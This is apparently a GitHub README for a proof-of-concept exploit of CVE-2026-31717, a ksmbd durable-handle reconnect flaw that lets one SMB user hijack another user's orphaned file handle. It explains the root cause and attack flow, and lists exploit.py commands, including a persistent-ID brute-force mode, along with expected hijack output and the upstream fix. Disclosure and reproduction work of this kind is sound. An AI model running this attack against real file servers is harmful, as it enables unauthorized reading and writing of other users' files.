TurtleARM/CVE-2026-31717-KSMBD-Exploit

GitHub: TurtleARM/CVE-2026-31717-KSMBD-Exploit

针对 Linux 内核 ksmbd SMB3 服务器中 durable handle 重连授权绕过漏洞(CVE-2026-31717)的完整利用工具,含 QEMU 复现环境与多模式 PoC。

Stars: 0 | Forks: 1

# CVE-2026-31717:ksmbd DHnC Durable-Handle Reconnect Access-Control Bypass ## 概述 | 字段 | 值 | |-------|-------| | 组件 | ksmbd (Linux 内核内置的 SMB3 服务器) | | 受影响文件 | `fs/smb/server/oplock.c` (`smb2_check_durable_oplock`) | | 类别 | CWE-863: Incorrect Authorization | | 影响 | 已认证的 SMB 用户劫持另一个用户的孤立 durable handle,通过原始打开者的 `f_cred` 获得读写权限(绕过 POSIX ACL) | | 受影响协议 | **SMB 2.1 (0x0210) 及以上** | | 受影响版本 | Linux 6.12 → 6.19.x(引入 durable handle 的提交 `c8efcc786146`,修复之前) | | 前置条件 | `ksmbd.conf` 中 `durable handles = yes`(非默认值) | | CVSS 3.1 | **8.8 High** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | | 修复 | [`ksmbd: validate owner of durable handle on reconnect`](https://lore.kernel.org/linux-cve-announce/2026050124-CVE-2026-31717-f68b@gregkh/) (提交 `49110a8ce654`) | ## 根本原因 `smb2_check_durable_oplock()` 有两个分支:基于 lease 的 handle(安全的)和非 lease 的 batch-oplock handle(易受攻击的)。非 lease 分支仅检查 oplock 级别,然后 `goto out` 跳过了所有的授权步骤:ClientGUID 匹配、lease key 以及 `ksmbd_validate_name_reconnect()`。 ``` // fs/smb/server/oplock.c:1852–1864 (pre-fix) if (opinfo->is_lease == false) { if (lctx) { ... } if (opinfo->level != SMB2_OPLOCK_LEVEL_BATCH) { ret = -EBADF; } goto out; // skips ClientGUID, lease key, filename checks } ``` 针对 DHnC (v1) 的 `parse_durable_handle_context()` 仅通过攻击者提供的 `persistent_id` 查找 handle (smb2pdu.c:2796)。Persistent ID 是通过 `idr_alloc_cyclic(..., 0, INT_MAX-1, ...)` (vfs_cache.c:618) 分配的:顺序、可预测,并且在服务器上的所有会话中是**全局的**。 一旦 `ksmbd_reopen_durable_fd()` 将孤立的 `fp` 重新绑定到攻击者的 `tcon`,攻击者的 READ/WRITE 将通过 `kernel_read(fp->filp, ...)` (vfs.c:380) 和 `kernel_write(fp->filp, ...)` (vfs.c:509) 进行。`fp->filp->f_cred` 仍然属于**原始打开者**,因此 DAC 会根据受害者的凭据进行检查,攻击者实际上借用了这些凭据。 ## 攻击流程 ``` 1. Victim opens FILE with BATCH oplock + DHnQ context → persistent_id=N 2. Victim's connection drops without SMB2 CLOSE → fp->conn = NULL; handle persists in global_ft (vfs_cache.c:921) 3. Attacker authenticates as a different SMB user (different POSIX UID) 4. Attacker sends CREATE with DHnC context, persistent_id=N → ksmbd_lookup_durable_fd(N) returns victim's fp (no identity check) → smb2_check_durable_oplock() takes non-lease branch, skips all checks → ksmbd_reopen_durable_fd() reassigns conn/tcon to attacker 5. Attacker reads/writes FILE. kernel_read/write use fp->filp->f_cred → POSIX ACL is evaluated against the VICTIM, not the attacker. ``` ## 为什么是 DHnC 而不是 DH2C DH2C (durable handle reconnect v2) *也* 途经同一个易受攻击的 `smb2_check_durable_oplock()` 调用 (smb2pdu.c:3025),但是 `parse_durable_handle_context()` 额外通过 `memcmp` 对比了 128 位的 `CreateGuid` 和 `fp->create_guid` (smb2pdu.c:2763–2768)。攻击者需要通过带外方式泄露该 128 位值……这是无法暴力破解的。 因此 DHnC (v1) 是盲打利用的路径:攻击者提供的唯一标识符是 64 位的 `persistent_id`,它在一个全新的服务器上从零开始并按顺序递增。 ## 场景 PoC 提供了三种模式: | 模式 | 展示内容 | |------|---------------| | `acl-bypass` | 双分支对照测试:攻击者对 0600 受害者拥有的文件进行正常的 CREATE 被拒绝 → DHnC 重连成功 → 重新测试,仍然被拒绝。证明了读写操作仅通过借用的 `f_cred` 完成。 | | `victim` | 仅阶段 1。在受害者和攻击者运行于不同主机时使用。 | | `attack` | 仅阶段 2。在一个干净的攻击者会话中,对 `--pid-start..--pid-end` 范围进行暴力破解。 | ## 实际触发场景 ksmbd 在**任何**会话拆除时将 handle 标记为孤立(`fp->conn = NULL`, vfs_cache.c:921):正常的 LOGOFF *或* TCP 层面的 RST。PoC 默认使用 RST(通过 `SO_LINGER {1,0}`),因为这是最现实的事件: | 事件 | 客户端 OS | |------------------------------------------------|---------------| | 合上盖子 / 挂起 | Win, macOS | | 在多个 AP 间漫游 WiFi | Win, macOS | | VPN 抖动(分流隧道重连) | 所有 | | `cifs.ko` 挂载在一个断网的 NIC 上 | Linux | | Office 进程在编辑中崩溃 | Win, macOS | | SMB 客户端进程被杀死 | 所有 | | Docker 容器通过 CIFS 的 bind-mount 重启 | Linux | 该漏洞在实践中的实际影响范围: - **OpenWrt** 默认将 ksmbd 作为 SMB 服务器包提供;durable handle 是 LuCI 中的一个可开启选项。 - **TrueNAS Scale** (24.10+) 实验性地使用了 ksmbd。为了满足那些抱怨重连延迟的 Office/网络共享工作流,会启用 Durable handle。 - 任何**三星嵌入式 NAS 设备**,其代码路径继承了消费级存储产品。 - 任何由于管理员出于性能考虑选择配置 ksmbd 而非 smbd 的 **Linux 文件服务器**。 `durable handles = no` 是 ksmbd-tools 的默认配置,但管理员为了那些容易产生孤立 handle 的工作负载(笔记本电脑 + 不稳定 WiFi 下的 Office 应用)会将其开启。 ## 复现 ### 前置条件 ``` sudo apt install build-essential flex bison bc libelf-dev libssl-dev \ libglib2.0-dev libnl-3-dev libnl-genl-3-dev libtool autoconf \ qemu-system-x86 busybox-static cpio python3-pip pip3 install impacket ``` 目前的 Ubuntu/Debian LTS 内核 (≤6.11) 不包含 ksmbd 的 durable-handle 支持,因此该设置使用了运行 6.19.x 内核的 QEMU。 ### 设置与运行 (主要) ``` # 构建 kernel + QEMU 环境(一次性,约 5 分钟) ./setup.sh # 终端 1:启动存在漏洞的 ksmbd 服务器 ./run.sh # 终端 2:运行 headline 场景(等待 "=== ksmbd ready ===") python3 exploit.py acl-bypass \ --target 127.0.0.1 --port 44500 --share share \ --user victim --password Victim1 \ --user2 attacker --password2 Attacker2 \ --file secret_0600.txt ``` 预期输出: ``` [+] Authenticated as 'victim' over SMB 3.0, ... [+] Wrote 11 bytes of sensitive data [+] TCP RST sent — handle orphaned in ksmbd ... [+] CONTROL pre-exploit: normal CREATE → STATUS_ACCESS_DENIED ✓ [!!] HIJACKED handle at persistent_id=N [!!] READ as attacker: b'TOP SECRET\n' (POSIX 0600 bypassed) [!!] WROTE 24 bytes as attacker (POSIX 0600 bypassed) [+] CONTROL post-exploit: normal CREATE → STATUS_ACCESS_DENIED ✓ File POSIX mode unchanged; the writes only succeeded because the hijacked fp->filp carried the victim's f_cred. ``` 然后在 QEMU 控制台中: ``` ls -l /tmp/smbtest/secret_0600.txt # mode 0600, owner victim cat /tmp/smbtest/secret_0600.txt # contents: "PWNED by attacker" ``` ### 协议回归 ``` python3 exploit.py acl-bypass --dialect 2.1 \ --target 127.0.0.1 --port 44500 --share share \ --user victim --password Victim1 \ --user2 attacker --password2 Attacker2 \ --file secret_0600.txt ``` ### 跨主机拆分(受害者和攻击者在不同机器上) ``` # 在受害者的主机上 python3 exploit.py victim --target --share share \ --user victim --password Victim1 --file secret_0600.txt # 在攻击者的主机上 python3 exploit.py attack --target --share share \ --user attacker --password Attacker2 --pid-start 0 --pid-end 64 ``` ### 现有内核源码树 ``` ./setup.sh /path/to/linux-source # skip the kernel.org download PORT=9445 ./run.sh # custom forwarded port ``` ## 修复 该补丁向 `ksmbd_file` 添加了一个 `struct durable_owner`(包含 uid、gid 和帐户名)。当 handle 变为孤立时,会捕获所有者的身份;在重连时,`ksmbd_vfs_compare_durable_owner()` 会在 `smb2_check_durable_oplock()` 运行之前进行检查,因此来自不同 SMB 用户的 DHnC 和 DH2C 重连都会被拒绝并返回 `-EBADF`。 ## 时间线 | 日期 | 事件 | |------|-------| | 2026-04-04 | 漏洞报告至 security@kernel.org | | 2026-04-05 | 维护者 提供补丁 | | 2026-04-05 | 报告者验证补丁 | | 2026-05-01 | CVE-2026-31717 公布 | ## 贡献者 - Davide Ornaghi ([@TurtleARM](https://github.com/TurtleARM/)) - Giuseppe Caruso ([@Cyber-JA](https://github.com/Cyber-JA)) ## 参考 - [CVE-2026-31717 公告](https://lore.kernel.org/linux-cve-announce/2026050124-CVE-2026-31717-f68b@gregkh/)
标签:0day挖掘, CVE-2026-31717, CWE-863, Durable Handle, EXP, ksmbd, Linux内核, PoC, POSIX ACL, SMB3, Web报告查看器, 内核安全, 安全渗透, 持久化句柄, 文件共享, 暴力破解, 权限绕过, 漏洞分析, 漏洞复现, 网络安全, 越权访问, 路径探测, 身份验证强制, 逆向工具, 隐私保护